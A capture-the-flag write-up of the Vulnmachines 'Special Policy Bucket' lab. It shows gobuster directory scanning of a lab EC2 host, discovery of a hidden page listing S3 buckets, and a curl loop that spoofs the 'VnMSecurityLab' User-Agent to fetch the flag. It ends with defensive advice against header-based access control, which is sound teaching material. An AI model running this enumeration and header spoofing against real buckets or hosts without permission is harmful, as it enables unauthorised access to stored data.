> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# Vulnmachines Special Policy Bucket Writeup: Bypassing an S3 User-Agent Access Policy
- URL: https://taiwanding.com/en/vulnmachines-special-policy-bucket-writeup/
- Published: 2025-09-09T07:45:59.000Z
- Updated: 2026-07-15T02:49:48.000Z
- Author: Kevin Chen
- Tags: #en, #en-ctf

## Challenge Info

- **Platform**: Vulnmachines
- **Category**: Cloud Labs / AWS S3
- **Description**: "Special Policy Bucket - AWS S3 Bucket with Special Access Policy"
- **Challenge link**: [https://account.vulnmachines.com/user/challenges](https://account.vulnmachines.com/user/challenges?ref=taiwanding.com)

## Walkthrough

### Step 1: Initial Recon

Visiting the challenge URL, I noticed this one isn't a direct S3 URL — it's an EC2 instance:

```bash
# Reverse DNS confirms it's an AWS EC2 host
nslookup 54.84.44.100
# Result: ec2-54-84-44-100.compute-1.amazonaws.com

```

Key differences:

- Unlike the previous challenge, it doesn't hand you an S3 bucket URL directly
- You have to find the bucket name and the access method yourself
- The EC2 host might be acting as a proxy or hosting an application

### Step 2: Directory Scanning and Exploration

Testing some common paths:

```bash
# Check for directory listing
curl http://54.84.44.100/assets/
# Result: open directory listing, but just website assets

# Test S3-related paths
curl http://54.84.44.100/policy.json  # 404
curl http://54.84.44.100/bucket       # 404
curl http://54.84.44.100/s3          # 404

```

Using a directory scanning tool:

```bash
gobuster dir -u http://54.84.44.100/ \
  -w /usr/share/wordlists/dirb/common.txt \
  -x html,json,txt

```

### Step 3: Finding the Hidden Page

During testing I found a key file:

```bash
curl http://54.84.44.100/secret.html

```

**The contents of secret.html reveal important information**:

- Multiple S3 bucket URLs

![secret.html page listing multiple S3 bucket names and the required User-Agent hint](https://taiwanding.com/content/images/2025/09/image-12.png)

- Key hint:

```
The user agent acts as a mediator between the user and the web server...
To access the bucket you required special User-agent VnMSecurityLab

```

The list of buckets found:

- vnm-sec-testa1cd
- vnm-sec-testk2wka
- vnm-sec-test24wka
- vnm-sec-test124wka
- vnm-sec-testk412ka
- **vnm-sec-testk4wka** (the real bucket)
- vnm-sec-testk235wka
- vnm-sec-testk4w656a
- vnm-sec-testk4wka435
- vnm-sec-testk4w423ka

### Step 4: Understanding the Special Policy

What the challenge name "Special Policy Bucket" is getting at:

- The bucket is configured with a **conditional access policy**
- It only allows a specific User-Agent: `VnMSecurityLab`
- This is a common security configuration for AWS S3 bucket policies

### Step 5: The Correct Access Method

Using a custom User-Agent to bulk-test every bucket:

```bash
for bucket in vnm-sec-testa1cd vnm-sec-testk2wka vnm-sec-test24wka \
              vnm-sec-test124wka vnm-sec-testk412ka vnm-sec-testk4wka \
              vnm-sec-testk235wka vnm-sec-testk4w656a vnm-sec-testk4wka435 \
              vnm-sec-testk4w423ka; do
    echo "Testing: $bucket"
    curl -H "User-Agent: VnMSecurityLab" \
         "https://$bucket.s3.amazonaws.com/f149.txt" 2>/dev/null
    echo ""
done

```

Analyzing the results:

- 9 buckets returned `NoSuchBucket` (fakes)
- 1 bucket (`vnm-sec-testk4wka`) returned content

```bash
Testing: vnm-sec-testa1cd
<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>NoSuchBucket</Code><Message>The specified bucket does not exist</Message><BucketName>vnm-sec-testa1cd</BucketName><RequestId>WHF9REDPPQF46QN6</RequestId><HostId>XkJH7QyrtrRPIYvm0vp9JfQxSQ0Fxj9eIGHJHfDODYWX98EEcDPJte36WG5FJsg/L2Mpruemnp7RKGyiXp3F5Cnf6BVo3hjMGZB9pypgGJk=</HostId></Error>
Testing: vnm-sec-testk2wka
<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>NoSuchBucket</Code><Message>The specified bucket does not exist</Message><BucketName>vnm-sec-testk2wka</BucketName><RequestId>WHFEAZ0C2TYBQH17</RequestId><HostId>VUNnnV4H1tKnQLjCK6NgJkjwpixNWIkwb93qP1MpBga/GRItCkjjPXKUiKJNItDmol86f12xx/w=</HostId></Error>
Testing: vnm-sec-test24wka
<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>NoSuchBucket</Code><Message>The specified bucket does not exist</Message><BucketName>vnm-sec-test24wka</BucketName><RequestId>RVN1E6J47A6MP4B3</RequestId><HostId>IorhgIi1PUIbHoSvFfD8OPe3LRZ3NPX4+RvNWtqtL+lNTo3H2fu8ERN7nVVcyRHAV9Tz2AdF+zXwPW2eSpxLF9dM/0gvkDialrayvrtjWzE=</HostId></Error>
Testing: vnm-sec-test124wka
<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>NoSuchBucket</Code><Message>The specified bucket does not exist</Message><BucketName>vnm-sec-test124wka</BucketName><RequestId>MJVH1J44HSEX1R1G</RequestId><HostId>9D8q5BePeZUviPYGAzewm5JYhO0c5GYnXvfoc0k4vW7HelfxexRG92j1kCmA0/cfz3F9SZJUVLg=</HostId></Error>
Testing: vnm-sec-testk412ka
<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>NoSuchBucket</Code><Message>The specified bucket does not exist</Message><BucketName>vnm-sec-testk412ka</BucketName><RequestId>MJVV3GNCAX9C9E89</RequestId><HostId>CEKXMSe30e53h193sK+BuD07X+mkTJfPBEuHxnHbTEXFV3FzyxuWfUB//yh5ONmGVETWGqXOMJZv80naLf21P+bL2PtUaK56</HostId></Error>
Testing: vnm-sec-testk4wka
vnm{REDACTED}
Testing: vnm-sec-testk235wka
<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>NoSuchBucket</Code><Message>The specified bucket does not exist</Message><BucketName>vnm-sec-testk235wka</BucketName><RequestId>7T553RYZY29HVJ8Z</RequestId><HostId>dyr23oTfVDFclLVAicv3R7vLd8B8++LbgDaAd1Y406RvMBjSz8lvhRGX/cpgktgV05Aklz4V6ZEbZ9TehI/7tZQMOoPKzGuA</HostId></Error>
Testing: vnm-sec-testk4w656a
<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>NoSuchBucket</Code><Message>The specified bucket does not exist</Message><BucketName>vnm-sec-testk4w656a</BucketName><RequestId>7T5DC75XE0GNHXAD</RequestId><HostId>AOQu2WyIkTbty+sTPc01xU9w+hFnmK40IKS53GHFyvnhHTOg4m3sQ9tHu7v6uPi6v9hHM7b+tv4=</HostId></Error>
Testing: vnm-sec-testk4wka435
<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>NoSuchBucket</Code><Message>The specified bucket does not exist</Message><BucketName>vnm-sec-testk4wka435</BucketName><RequestId>BTV02H3RGFPJ4NZP</RequestId><HostId>BCcM2WnUOFqNf42lnWuSe2UIOuLbidKnOnRqYEADOuRCRpWh4BZ17MP5hdMSCCkejWYoNGzKMMgUMeTJE3ueXj8Eoi62c4FJuNPgywHlGag=</HostId></Error>
Testing: vnm-sec-testk4w423ka
<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>NoSuchBucket</Code><Message>The specified bucket does not exist</Message><BucketName>vnm-sec-testk4w423ka</BucketName><RequestId>V4QG90V60YFENQAZ</RequestId><HostId>lOEDC6WYi1t5awG7glfJATyMJOoHok1LriaqdmV2jzSv4Jr+N3hUjHNMEBNa1Ifu5GCXEoc/ezc=</HostId></Error>
```

### Step 7: Grabbing the Flag

Successfully accessing the real bucket:

```bash
curl -H "User-Agent: VnMSecurityLab" \
     https://vnm-sec-testk4wka.s3.amazonaws.com/f149.txt

```

**Flag**: `vnm{REDACTED}`

## Key Takeaways

### Security Misconceptions

- A User-Agent restriction **is not a real security control**
- It's trivially bypassed (as this challenge shows)
- You should use stronger authentication mechanisms instead (IAM, presigned URLs)

## Conclusion

This CTF demonstrates the danger of relying on HTTP headers as a security control. The User-Agent can be spoofed and should never be the sole access-control mechanism. In a real-world environment, you should layer multiple defenses.